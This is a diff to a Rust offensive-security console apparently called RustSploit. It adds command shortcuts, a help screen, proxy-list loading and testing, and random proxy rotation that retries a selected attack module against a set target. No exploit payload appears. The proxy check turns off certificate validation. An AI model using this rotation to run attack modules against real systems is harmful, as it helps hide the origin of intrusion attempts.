-                                eprintln!("[!] Module failed: {:?}", e);
+                            utils::find_modules(&rest);
+                        }
+                    }
+                    "proxy_load" => {
+                        let file_path = if rest.is_empty() {
+                            prompt_for_path("Path to proxy list file: ")? 
+                        } else {
+                            rest.to_string()
+                        };
+
+                        match utils::load_proxies_from_file(&file_path) {
+                            Ok(summary) => {
+                                ctx.proxy_list = summary.proxies;
+                                println!(
+                                    "Loaded {} proxies from '{}'.",
+                                    ctx.proxy_list.len(),
+                                    file_path
+                                );
+
+                                if !summary.skipped.is_empty() {
+                                    println!(
+                                        "{}",
+                                        format!(
+                                            "Skipped {} invalid entr{}:",
+                                            summary.skipped.len(),
+                                            if summary.skipped.len() == 1 { "y" } else { "ies" }
+                                        )
+                                        .yellow()
+                                    );
+                                    for failure in summary.skipped.iter().take(10) {
+                                        println!(
+                                            "  [line {}] {} ({})",
+                                            failure.line_number,
+                                            failure.content,
+                                            failure.reason
+                                        );
+                                    }
+                                    if summary.skipped.len() > 10 {
+                                        println!(
+                                            "  ... {} additional entr{} skipped.",
+                                            summary.skipped.len() - 10,
+                                            if summary.skipped.len() - 10 == 1 {
+                                                "y"
+                                            } else {
+                                                "ies"
+                                            }
+                                        );
+                                    }
+                                }
+
+                                if prompt_yes_no("Test connectivity of loaded proxies? (recommended)", true)? {
+                                    test_current_proxies(&mut ctx).await?;
+                                }
+                            }
+                            Err(e) => {
+                                println!("Failed to load proxies: {}", e);
                             }
                         }
-                    } else {
-                        println!("No target set. Use 'set target <value>' first.");
                     }
-                } else {
-                    println!("No module selected. Use 'use <module>' first.");
+                    "proxy_on" => {
+                        ctx.proxy_enabled = true;
+                        println!("Proxy usage enabled.");
+                    }
+                    "proxy_off" => {
+                        ctx.proxy_enabled = false;
+                        println!("Proxy usage disabled.");
+                        clear_proxy_env_vars();
+                    }
+                    "proxy_test" => {
+                        test_current_proxies(&mut ctx).await?;
+                    }
+                    "show_proxies" => {
+                        if ctx.proxy_list.is_empty() {
+                            println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
+                        } else {
+                            println!("Loaded proxies ({}):", ctx.proxy_list.len());
+                            for p in &ctx.proxy_list {
+                                println!("  {}", p);
+                            }
+                        }
+                        println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
+                    }
+                    "use" => {
+                        if rest.is_empty() {
+                            println!("{}", "Usage: use <module_path>".yellow());
+                        } else if utils::module_exists(&rest) {
+                            ctx.current_module = Some(rest.to_string());
+                            println!("{}", format!("Module '{}' selected.", rest).green());
+                        } else {
+                            println!("{}", format!("Module '{}' not found.", rest).red());
+                        }
+                    }
+                    "set" => {
+                        let parts: Vec<&str> = rest.split_whitespace().collect();
+                        if parts.len() >= 2 && parts[0] == "target" {
+                            ctx.current_target = Some(parts[1].to_string());
+                            println!("{}", format!("Target set to {}", parts[1]).green());
+                        } else {
+                            println!("{}", "Usage: set target <value>".yellow());
+                        }
+                    }
+                    "run" => {
+                        if let Some(ref module_path) = ctx.current_module {
+                            if let Some(ref t) = ctx.current_target {
+                                if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
+                                    let mut tried_proxies = HashSet::new();
+                                    let mut success = false;
+
+                                    while tried_proxies.len() < ctx.proxy_list.len() {
+                                        let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
+                                        set_all_proxy_env(&chosen_proxy);
+                                        println!("[*] Using proxy: {}", chosen_proxy);
+
+                                        println!("Running module '{}' against target '{}'", module_path, t);
+                                        match commands::run_module(module_path, t).await {
+                                            Ok(_) => {
+                                                success = true;
+                                                break;
+                                            }
+                                            Err(e) => {
+                                                eprintln!("[!] Module failed with error: {:?}", e);
+                                                eprintln!("    Retrying with a new proxy...");
+                                                tried_proxies.insert(chosen_proxy);
+                                            }
+                                        }
+                                    }
+
+                                    if !success {
+                                        println!("[!] All proxies failed. Trying direct connection...");
+                                        clear_proxy_env_vars();
+                                        if let Err(e) = commands::run_module(module_path, t).await {
+                                            eprintln!("[!] Final direct attempt also failed: {:?}", e);
+                                        }
+                                    }
+                                } else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
+                                    println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
+                                    clear_proxy_env_vars();
+                                    if let Err(e) = commands::run_module(module_path, t).await {
+                                        eprintln!("[!] Module failed: {:?}", e);
+                                    }
+                                } else {
+                                    clear_proxy_env_vars();
+                                    if let Err(e) = commands::run_module(module_path, t).await {
+                                        eprintln!("[!] Module failed: {:?}", e);
+                                    }
+                                }
+                            } else {
+                                println!("{}", "No target set. Use 'set target <value>' first.".yellow());
+                            }
+                        } else {
+                            println!("{}", "No module selected. Use 'use <module>' first.".yellow());
+                        }
+                    }
+                    _ => {
+                        println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", trimmed).red());
+                    }
                 }
-            },
-            _ => {
-                println!("Unknown command: '{}'. Type 'help' for usage.", input);
-            },
+            }
+            None => {
+                println!("{}", format!("Unknown command: '{}'. Type 'help' or '?' for usage.", trimmed).red());
+            }
         }
     }
 
@@ -186,20 +227,17 @@ pub async fn interactive_shell() -> Result<()> {
 
 /// Picks a random proxy from `proxy_list` that is NOT in `tried_proxies`.
 fn pick_random_untried_proxy(proxy_list: &[String], tried_proxies: &HashSet<String>) -> String {
-    let untried: Vec<&String> = proxy_list.iter()
+    let mut rng = rand::rng();
+    let choices: Vec<&String> = proxy_list
+        .iter()
         .filter(|p| !tried_proxies.contains(*p))
         .collect();
 
-    if untried.is_empty() {
-        // Fall back if somehow there's nothing untried
-        let mut rng = rand::rng();
-        let idx = rng.random_range(0..proxy_list.len());
-        return proxy_list[idx].clone();
+    if let Some(choice) = choices.choose(&mut rng) {
+        choice.to_string()
+    } else {
+        proxy_list.choose(&mut rng).unwrap().to_string()
     }
-
-    let mut rng = rand::rng();
-    let idx = rng.random_range(0..untried.len());
-    untried[idx].clone()
 }
 
 /// Sets ALL_PROXY so reqwest uses it for all requests (including socks4, socks5, http, https)
@@ -213,3 +251,200 @@ fn clear_proxy_env_vars() {
     env::remove_var("HTTP_PROXY");
     env::remove_var("HTTPS_PROXY");
 }
+
+fn split_command(input: &str) -> Option<(String, String)> {
+    let mut parts = input.splitn(2, char::is_whitespace);
+    let cmd = parts.next()?.to_lowercase();
+    let rest = parts.next().unwrap_or("").trim().to_string();
+    Some((cmd, rest))
+}
+
+fn resolve_command(cmd: &str) -> String {
+    match cmd {
+        "?" | "help" | "h" => "help",
+        "modules" | "list" | "ls" | "m" => "modules",
+        "find" | "search" | "f" | "f1" => "find",
+        "proxy_load" | "proxyload" | "pl" | "load_proxy" | "loadproxies" => "proxy_load",
+        "proxy_on" | "pon" | "proxyon" => "proxy_on",
+        "proxy_off" | "poff" | "proxyoff" => "proxy_off",
+        "proxy_test" | "ptest" | "proxycheck" | "check_proxies" => "proxy_test",
+        "show_proxies" | "proxies" | "pshow" | "proxy_show" => "show_proxies",
+        "use" | "u" => "use",
+        "set" | "target" => "set",
+        "run" | "go" | "exec" => "run",
+        "exit" | "quit" | "q" => "exit",
+        other => other,
+    }
+    .to_string()
+}
+
+fn render_help() {
+    println!();
+    println!("{}", "RustSploit Command Palette".bold().underline());
+    println!(
+        "{}",
+        "Shortcuts are case-insensitive. Example: `f1 ssh` searches for SSH modules."
+            .dimmed()
+    );
+    println!();
+
+    let entries = vec![
+        ("help", "help | h | ?", "Show this screen"),
+        ("modules", "modules | ls | m", "List available modules"),
+        ("find", "find <kw> | f1 <kw>", "Search modules by keyword"),
+        ("use", "use <path> | u <path>", "Select a module to run"),
+        ("set target", "set target <value>", "Set current target host/IP"),
+        ("run", "run | go", "Execute selected module (with proxy rotation)"),
+        ("proxy_load", "proxy_load [file] | pl", "Load proxy list from file"),
+        ("proxy_on", "proxy_on | pon", "Enable proxy usage"),
+        ("proxy_off", "proxy_off | poff", "Disable proxy usage"),
+        ("proxy_test", "proxy_test | ptest", "Validate loaded proxies"),
+        ("show_proxies", "show_proxies | proxies", "Display proxy status"),
+        ("exit", "exit | quit | q", "Leave the shell"),
+    ];
+
+    println!("{}", format!("{:<16} {:<25} {}", "Command", "Shortcuts", "Description").bold());
+    println!("{}", "-".repeat(72).dimmed());
+    for (cmd, shortcuts, desc) in entries {
+        println!("{:<16} {:<25} {}", cmd.green(), shortcuts.cyan(), desc);
+    }
+    println!();
+    println!(
+        "{}",
+        "Need more context? Try `modules`, then `use category/module_name`, and finally `run`."
+            .dimmed()
+    );
+    println!();
+}
+
+async fn test_current_proxies(ctx: &mut ShellContext) -> Result<()> {
+    if ctx.proxy_list.is_empty() {
+        println!("No proxies loaded to test.");
+        return Ok(());
+    }
+
+    let total = ctx.proxy_list.len();
+    let test_url = prompt_string_default("Proxy test URL", "https://example.com")?;
+    let timeout_secs = prompt_u64("Proxy test timeout (seconds)", 5)?;
+    let max_parallel = prompt_usize("Max concurrent proxy tests", 10)?;
+
+    println!(
+        "[*] Testing {} proxy entr{} (timeout: {}s, concurrency: {})",
+        total,
+        if total == 1 { "y" } else { "ies" },
+        timeout_secs,
+        max_parallel
+    );
+
+    let summary = utils::test_proxies(&ctx.proxy_list, &test_url, timeout_secs, max_parallel).await;
+    let working_count = summary.working.len();
+    let failed = summary.failed;
+    let working = summary.working;
+
+    if working_count == 0 {
+        println!("{}", "[-] No proxies passed the connectivity test.".red());
+    } else {
+        println!(
+            "{}",
+            format!("[+] {} proxies passed the connectivity test.", working_count).green()
+        );
+    }
+
+    if !failed.is_empty() {
+        println!(
+            "{}",
+            format!("[-] {} proxies failed validation:", failed.len()).yellow()
+        );
+        for failure in &failed {
+            println!("    {} -> {}", failure.proxy, failure.reason);
+        }
+    }
+
+    ctx.proxy_list = working;
+
+    if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
+        println!("[!] Proxy list is empty after testing. Disabling proxy usage.");
+        ctx.proxy_enabled = false;
+        clear_proxy_env_vars();
+    }
+
+    Ok(())
+}
+
+fn prompt_for_path(message: &str) -> io::Result<String> {
+    loop {
+        print!("{}", message);
+        io::stdout().flush()?;
+        let mut input = String::new();
+        io::stdin().read_line(&mut input)?;
+        let value = input.trim();
+        if !value.is_empty() {
+            return Ok(value.to_string());
+        }
+        println!("Path cannot be empty. Please try again.");
+    }
+}
+
+fn prompt_string_default(message: &str, default: &str) -> io::Result<String> {
+    print!("{} [{}]: ", message, default);
+    io::stdout().flush()?;
+    let mut input = String::new();
+    io::stdin().read_line(&mut input)?;
+    let trimmed = input.trim();
+    if trimmed.is_empty() {
+        Ok(default.to_string())
+    } else {
+        Ok(trimmed.to_string())
+    }
+}
+
+fn prompt_yes_no(message: &str, default_yes: bool) -> io::Result<bool> {
+    let default_hint = if default_yes { "Y/n" } else { "y/N" };
+    loop {
+        print!("{} [{}]: ", message, default_hint);
+        io::stdout().flush()?;
+        let mut input = String::new();
+        io::stdin().read_line(&mut input)?;
+        let trimmed = input.trim().to_lowercase();
+        match trimmed.as_str() {
+            "" => return Ok(default_yes),
+            "y" | "yes" => return Ok(true),
+            "n" | "no" => return Ok(false),
+            _ => println!("Please answer with 'y' or 'n'."),
+        }
+    }
+}
+
+fn prompt_u64(message: &str, default: u64) -> io::Result<u64> {
+    loop {
+        print!("{} [{}]: ", message, default);
+        io::stdout().flush()?;
+        let mut input = String::new();
+        io::stdin().read_line(&mut input)?;
+        let trimmed = input.trim();
+        if trimmed.is_empty() {
+            return Ok(default);
+        }
+        match trimmed.parse::<u64>() {
+            Ok(value) => return Ok(value),
+            Err(_) => println!("Invalid number. Please enter a positive integer."),
+        }
+    }
+}
+
+fn prompt_usize(message: &str, default: usize) -> io::Result<usize> {
+    loop {
+        print!("{} [{}]: ", message, default);
+        io::stdout().flush()?;
+        let mut input = String::new();
+        io::stdin().read_line(&mut input)?;
+        let trimmed = input.trim();
+        if trimmed.is_empty() {
+            return Ok(default);
+        }
+        match trimmed.parse::<usize>() {
+            Ok(value) if value > 0 => return Ok(value),
+            _ => println!("Invalid number. Please enter a positive integer."),
+        }
+    }
+}

src/test.txt

@@ -0,0 +1 @@
+

src/utils.rs

@@ -1,11 +1,39 @@
+// src/utils.rs
+
 use colored::*;
 use std::fs;
-use std::io::{BufRead, BufReader, Error};
-use std::path::{Path};
+use std::io::{BufRead, BufReader};
+use std::path::Path;
+use std::sync::Arc;
+use std::time::Duration;
+use anyhow::{Result, anyhow, Context};
+use futures::stream::{FuturesUnordered, StreamExt};
+use reqwest;
+use tokio::sync::Semaphore;
+use url::Url;
 
 /// Maximum folder depth to traverse
 const MAX_DEPTH: usize = 6;
 
+/// Take “1.2.3.4”, “::1”, “[::1]:8080” or “hostname” and
+/// always return a valid “host:port” or “[ipv6]:port” string.
+pub fn normalize_target(raw: &str) -> Result<String> {
+    if raw.contains("]:") || raw.starts_with('[') {
+        // Already normalized, like [::1]:8080 or [2001:db8::1]
+        return Ok(raw.to_string());
+    }
+
+    // Looks like an unwrapped IPv6 address if it has multiple colons
+    let is_ipv6 = raw.matches(':').count() >= 2;
+
+    if is_ipv6 {
+        Ok(format!("[{}]", raw))
+    } else {
+        Ok(raw.to_string())
+    }
+}
+
+
 /// Recursively list .rs files up to a certain depth (unchanged)
 fn collect_module_paths(dir: &Path, depth: usize) -> Vec<String> {
     let mut modules = Vec::new();
@@ -71,37 +99,218 @@ pub fn list_all_modules() {
     }
 }
 
-/// Parses a single proxy line (e.g., "1.2.3.4:9050" -> "http://1.2.3.4:9050")
-/// or "socks5://127.0.0.1:9050" -> "socks5://127.0.0.1:9050"
-fn parse_proxy_line(line: &str) -> String {
-    let trimmed = line.trim().to_lowercase();
-    if trimmed.starts_with("http://")
-        || trimmed.starts_with("https://")
-        || trimmed.starts_with("socks4://")
-        || trimmed.starts_with("socks5://")
-    {
-        // User specified a scheme, keep as is (but restore original case if you want).
-        line.to_string()
-    } else {
-        // Default to HTTP if no scheme is provided
-        format!("http://{}", line)
+/// Finds and displays modules matching a keyword (unchanged)
+pub fn find_modules(keyword: &str) {
+    let keyword_lower = keyword.to_lowercase();
+    let modules = collect_module_paths(Path::new("src/modules"), 0);
+
+    let filtered: Vec<String> = modules
+        .into_iter()
+        .filter(|m| m.to_lowercase().contains(&keyword_lower))
+        .collect();
+
+    if filtered.is_empty() {
+        println!(
+            "{}",
+            format!("No modules found matching '{}'.", keyword).red()
+        );
+        return;
+    }
+
+    println!(
+        "{}",
+        format!("Modules matching '{}':", keyword).bold().underline()
+    );
+
+    let mut grouped = std::collections::BTreeMap::new();
+    for module in filtered {
+        let parts: Vec<&str> = module.split('/').collect();
+        let category = parts.get(0).unwrap_or(&"Other").to_string();
+        grouped
+            .entry(category)
+            .or_insert_with(Vec::new)
+            .push(module.clone());
+    }
+
+    for (category, paths) in grouped {
+        println!("\n{}:", category.blue().bold());
+        for path in paths {
+            println!("  - {}", path.green());
+        }
     }
 }
 
-/// Load proxies from a file, returning lines like:
-/// [ "http://1.2.3.4:8080", "socks4://5.6.7.8:1080", "socks5://..." ] etc.
-pub fn load_proxies_from_file(filename: &str) -> Result<Vec<String>, Error> {
-    let file = fs::File::open(filename)?;
+const SUPPORTED_PROXY_SCHEMES: &[&str] = &["http", "https", "socks4", "socks4a", "socks5", "socks5h"];
+
+#[derive(Debug, Clone)]
+pub struct ProxyParseError {
+    pub line_number: usize,
+    pub content: String,
+    pub reason: String,
+}
+
+#[derive(Debug, Clone)]
+pub struct ProxyLoadSummary {
+    pub proxies: Vec<String>,
+    pub skipped: Vec<ProxyParseError>,
+}
+
+#[derive(Debug, Clone)]
+pub struct ProxyTestFailure {
+    pub proxy: String,
+    pub reason: String,
+}
+
+#[derive(Debug, Clone)]
+pub struct ProxyTestSummary {
+    pub working: Vec<String>,
+    pub failed: Vec<ProxyTestFailure>,
+}
+
+/// Attempt to normalise and validate a proxy entry.
+fn normalize_proxy_candidate(line: &str) -> Result<String> {
+    let trimmed = line.trim();
+    if trimmed.is_empty() {
+        return Err(anyhow!("empty line"));
+    }
+
+    let candidate = if trimmed.contains("://") {
+        trimmed.to_string()
+    } else {
+        format!("http://{}", trimmed)
+    };
+
+    let url = Url::parse(&candidate).map_err(|e| anyhow!("invalid proxy syntax: {}", e))?;
+
+    if !SUPPORTED_PROXY_SCHEMES.iter().any(|scheme| url.scheme() == *scheme) {
+        return Err(anyhow!("unsupported proxy scheme '{}'", url.scheme()));
+    }
+
+    if url.host_str().is_none() {
+        return Err(anyhow!("missing proxy host"));
+    }
+
+    if url.port().is_none() {
+        return Err(anyhow!("missing proxy port"));
+    }
+
+    Ok(candidate)
+}
+
+/// Load proxies from a file, returning a summary containing valid proxies and skipped entries.
+pub fn load_proxies_from_file(filename: &str) -> Result<ProxyLoadSummary> {
+    let file = fs::File::open(filename)
+        .with_context(|| format!("failed to open proxy file '{}'", filename))?;
     let reader = BufReader::new(file);
 
     let mut proxies = Vec::new();
-    for line in reader.lines() {
-        let line = line?.trim().to_string();
-        if !line.is_empty() {
-            let parsed = parse_proxy_line(&line);
-            proxies.push(parsed);
+    let mut skipped = Vec::new();
+
+    for (idx, line_res) in reader.lines().enumerate() {
+        let raw_line = line_res
+            .with_context(|| format!("failed to read line {} in '{}'", idx + 1, filename))?;
+        let trimmed = raw_line.trim();
+
+        if trimmed.is_empty() || trimmed.starts_with('#') || trimmed.starts_with("//") {
+            continue;
+        }
+
+        match normalize_proxy_candidate(trimmed) {
+            Ok(proxy) => proxies.push(proxy),
+            Err(err) => skipped.push(ProxyParseError {
+                line_number: idx + 1,
+                content: trimmed.to_string(),
+                reason: err.to_string(),
+            }),
         }
     }
 
-    Ok(proxies)
+    if proxies.is_empty() {
+        return Err(anyhow!("no valid proxies found in '{}'", filename));
+    }
+
+    Ok(ProxyLoadSummary { proxies, skipped })
+}
+
+/// Test proxies concurrently and return which passed connectivity checks.
+pub async fn test_proxies(
+    proxies: &[String],
+    test_url: &str,
+    timeout_secs: u64,
+    max_parallel: usize,
+) -> ProxyTestSummary {
+    if proxies.is_empty() {
+        return ProxyTestSummary {
+            working: Vec::new(),
+            failed: Vec::new(),
+        };
+    }
+
+    let timeout = Duration::from_secs(timeout_secs.max(1));
+    let parallel = max_parallel.max(1);
+    let semaphore = Arc::new(Semaphore::new(parallel));
+    let mut tasks = FuturesUnordered::new();
+
+    for proxy in proxies.iter().cloned() {
+        let test_url = test_url.to_string();
+        let semaphore = Arc::clone(&semaphore);
+        tasks.push(tokio::spawn(async move {
+            let permit = semaphore.acquire_owned().await;
+            if permit.is_err() {
+                return (proxy, Err(anyhow!("failed to acquire semaphore permit")));
+            }
+            let _permit = permit.unwrap();
+            let result = check_proxy(&proxy, &test_url, timeout).await;
+            (proxy, result)
+        }));
+    }
+
+    let mut summary = ProxyTestSummary {
+        working: Vec::new(),
+        failed: Vec::new(),
+    };
+
+    while let Some(res) = tasks.next().await {
+        match res {
+            Ok((proxy, Ok(()))) => summary.working.push(proxy),
+            Ok((proxy, Err(err))) => summary.failed.push(ProxyTestFailure {
+                proxy,
+                reason: err.to_string(),
+            }),
+            Err(join_err) => summary.failed.push(ProxyTestFailure {
+                proxy: "<spawn failed>".to_string(),
+                reason: join_err.to_string(),
+            }),
+        }
+    }
+
+    summary
+}
+
+async fn check_proxy(proxy: &str, test_url: &str, timeout: Duration) -> Result<()> {
+    let proxy_cfg = reqwest::Proxy::all(proxy)
+        .with_context(|| format!("invalid proxy '{}'", proxy))?;
+
+    let client = reqwest::Client::builder()
+        .timeout(timeout)
+        .proxy(proxy_cfg)
+        .danger_accept_invalid_certs(true)
+        .build()
+        .context("failed to build reqwest client")?;
+
+    let response = client
+        .get(test_url)
+        .send()
+        .await
+        .with_context(|| format!("request via proxy '{}' failed", proxy))?;
+
+    if !response.status().is_success() {
+        return Err(anyhow!(
+            "received HTTP status {} while hitting {}",
+            response.status(),
+            test_url
+        ));
+    }
+
+    Ok(())
 }